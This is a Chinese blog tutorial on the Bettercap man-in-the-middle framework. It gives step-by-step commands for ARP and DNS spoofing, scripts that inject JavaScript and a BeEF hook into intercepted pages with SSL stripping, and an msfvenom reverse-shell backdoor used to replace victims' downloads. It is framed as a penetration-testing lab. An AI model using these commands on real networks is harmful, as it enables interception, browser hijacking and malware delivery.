强大的中间人攻击工具(Bettercap)

         ~~~~~~~~         因为想要面对一个新的开始,一个人必须有梦想、有希望、有对未来的憧憬。如果没有这些,就不叫新的开始,而叫逃亡。 ​​​​
                                                                                                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                                                                                 ————玛丽亚·杜埃尼亚斯

前言

提到中间人攻击,最知名的莫过于ettercap,这是kali下一款优秀的ARP欺骗工具,但是它自从2015年开始就没有更新了,同时在大型网络环境中ettercap的主机发现以及欺骗功能效果较差,于是就诞生了bettercap。Bettercap是一个非常强大、灵活可移植的中间人攻击框架,它具有跨平台、轻量级以及模块化等优点,在渗透测试过程中能够非常好的进行中间人测试。

安装

在kali命令行下运行

root@kali:~# apt-get install bettercap

在这里插入图片描述
使用如下命令打开bettercap(注意:一般打开就会列出局域网中存活的主机,但是我这儿没有,是因为主机发现模块没有打开,打开就好命令:net.recon on)

root@kali:~# bettercap  #开启bettercap,默认是开启的eth0网卡,如果想开启其他网卡,比如无线网卡wlan0,可以bettercap iface wlan0

在这里插入图片描述
使用net.show可以列出局域网存活的主机
在这里插入图片描述
输入help 可以查看bettercap的用法(绿色表示启用,红色表示未启用) help后面跟模块名可以查看模块的详情。比如:help net.recon
在这里插入图片描述在这里插入图片描述

常用功能及模块介绍

#功能解释
help  模块名称      显示指定模块的帮助
active:            显示当前运行中的模块的信息
quit :             结束会话并退出
sleep 秒数:        休眠指定的秒数(和shell中的sleep一样)
get 变量:          获取变量的值
set 变量值 :       设置变量的值(有些模块有自定义变量,比如可用net.sniff.output变量指定嗅探器的输出的保存路径)
read 变量提示:     显示提示来让用户输入,输入内容会被储存在变量中
clear:             清屏
include CAPLET:    在当前会话读取并运行这个caplet
! 命令 :           运行相应的shell命令并显示输出
alias MAC地址 别名  给MAC地址设置一个别名
# 常用模块
api.rest:         RESTful API模块
net.recon :       主机发现模块,用于发现局域网内存活的主机,默认是开启的
arp.spoof:        arp欺骗模块
ble.recon:        低功耗蓝牙设备发现模块
net.sniff :        网络嗅探模块
dhcp6.spoof:      dhcp6欺骗模块(通过伪造DHCP数据包篡改客户端的DNS服务器,因此需要与dns.spoof一并启用)
dns.spoof:        DNS欺骗模块
events.stream:    串流输出模块(就是不断地在终端界面刷出程序的输出,例如arp截获的信息)
wifi:             wifi模块,有deauth攻击(wifi杀手)和创建软ap的功能

实战应用

ARP欺骗

中间人攻击中最常用的就是ARP欺骗了,接下来我们使用bettercap来进行ARP欺骗,熟悉一下arp.spoof这个模块。
首先输入help arp.spoof 查看下这个模块的帮助信息
在这里插入图片描述
如图所示,英文不好同学的看这里!

# 状态
arp.spoof  on :     开启ARP欺骗
arp.ban  on :      开启ARP欺骗,用ban模式,这就意味着目标将不能上网,也就是断网攻击
arp.spoof off :    停止ARP欺骗 
arp.ban off :       停止ARP欺骗
# 参数
arp.spoof.internal:  如果为true,那么网络中的计算机之间的本地连接将被欺骗,否则只能连接到来自外部网络(默认为false)
arp.spoof.targets:   要欺骗的目标,可以是 ip 、mac 或者 别名 ,也可以支持nmap形式的ip区域
arp.spoof.whitelist: 白名单,就是不欺骗的目标,可以是ip、mac或者别名

对于参数而言,我们可以使用set来设置,使用get来获取

set arp.spoof.targets 172.20.10.13 #设置攻击目标,可以是一个网段如:172.20.10.1-20.多个地址使用逗号隔开
get arp.spoof.targets              #获取arp.spoof.targets的值

在这里插入图片描述
设置好参数后,我们就可以开启ARP欺骗了:arp.spoof on
在这里插入图片描述
通过net.sniff可以嗅探到目标机的浏览数据
在这里插入图片描述
通过wireshark抓包可以发现大量的来自目标机的流量
在这里插入图片描述
查看目标机的arp缓存表,发现网关的mac已经被修改为kali(攻击机的mac)
在这里插入图片描述

DNS欺骗

DNS欺骗有一个前提,就是局域网内的主机的DNS服务器是局域网的网关,才能进行欺骗。如果是公网的DNS就不行了。
DNS欺骗之前我们需要利用ARP欺骗让目标机认为网关就是我们(攻击机),所以主机就会向我们发送DNS请求,这样就可以进行DNS欺骗了。
首先进行ARP欺骗

set arp.spoof.targets 172.20.10.13
arp.spoof on

然后进行DNS欺骗

set dns.spoof.domains www.sina.com #设置要欺骗的域名,多个域名用逗号隔开,如果要欺骗所有域名用通配符“*”
set dns.spoof.address 172.20.10.12 #设置将要欺骗的域名转换成的ip地址(这里可以换成我们自己的服务器,里面写上一个假的网站做些不可描述的东西)
dns.spoof on  #开启DNS欺骗

如图所示,ping www.sina.com时目标机直接向我们发起请求。打新浪首页进入的是我们自己的网站。
在这里插入图片描述
为了避免代码的重复呢,我们还可以打开bettercap的目录创建一个host文件,文件中存放要欺骗的域名和地址,然后在进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数就行了。
比如我们创建一个host文件如下:
在这里插入图片描述
进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数就行了

set dns.spoof.hosts /root/host   #设置欺骗的域名和对应ip
dns.spoof on  #开启dns欺骗

在这里插入图片描述
在这里插入图片描述

注入脚本

通过进行ARP欺骗,我们可以拦截到流量,自然就可以对拦截到的流量进行操作,我们可以对http协议的数据包进行代理,然后向里面注入恶意脚本。

set arp.spoof.targets 172.20.10.13    #设置arp欺骗的目标
arp.spoof on                          #开启ARP欺骗
set http.proxy.script /root/1.js      #注入恶意脚本
set https.proxy.script /root/1.js
http.proxy on                         #开启HTTP代理
https.proxy on 

脚本文件1.js如下

function onResponse(req,res){
    if(res.ContentType.indexOf('text/html')==0){
        var body=res.ReadBody();
        if(body.indexOf('</head>')!=-1){
            res.Body=body.replace(
                '</head>',
               '<script type="text/javascript">alert("your computer has hacked!")</script></head>'
            );
            }
        }
}

在这里插入图片描述
当目标机访问一个http或者https协议的站点时,就可以看到脚本已经注入到请求的网站。
在这里插入图片描述
结合beef-xss注入

既然我们可以注入js脚本,那么我们就可以利用beef来对目标浏览器进行控制。

set arp.spoof.targets 172.20.10.13    #设置arp欺骗的目标
set http.proxy.script  /root/test.js        #往http流量中注入脚本/root/test.js
set http.proxy.sslstrip true    #启用SSL剥离

http.proxy on   #开启HTTP代理
arp.spoof on   #开启ARP欺骗

test.js内容如下:

function onResponse(req,res){
    if(res.ContentType.indexOf('text/html')==0){
        var body=res.ReadBody();
        if(body.indexOf('</head>')!=-1){
            res.Body=body.replace(
                '</head>',
               '<script type="text/javascript" src="http://172.20.10.2:3000/hook.js"></script></head>'
            );
            }
        }
}

beef不晓得传送门在这里——>kali之beef的使用

替换下载文件

在bettercap中,有一种文件后缀叫.cap我们启动bettercap的时候可以指定该.cap文件,就可以按照这个文件还行命令。
比如我们随便创建一个xss.cap文件,内容如下:
在这里插入图片描述
在命令行中输入以下命令就可以加载并执行xss.cap的命令

root@kali:~# bettercap -caplet xss.cap 

在这里插入图片描述
使用active可以详细的查看框架的变量及开启的模块
在这里插入图片描述
在新的版本中还加入了caplets,使用caplets.update下载更新后会存储由由开发者编写的各种功能的模块脚本。我们可以通过caplets.show来查看有哪些.cap模块。
在这里插入图片描述
http-req-dump模块,这个模块能够欺骗内网流量走本地透明代理并输出内容。
download-autopwn文件可以保存着一些脚本,我们可以生成自己的一个木马后门放进去然后启用这个文件。当被欺骗着下载任意文件时都会被替换成我们的后门。

root@kali:/usr/share/bettercap/caplets/download-autopwn/windows# msfvenom -p windows/meterpreter/reverse_tcp lhost=172.20.10.2 lport=8888 -f exe -o payload.exe 
root@kali:~# bettercap -caplet download-autopwn/download-autopwn
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值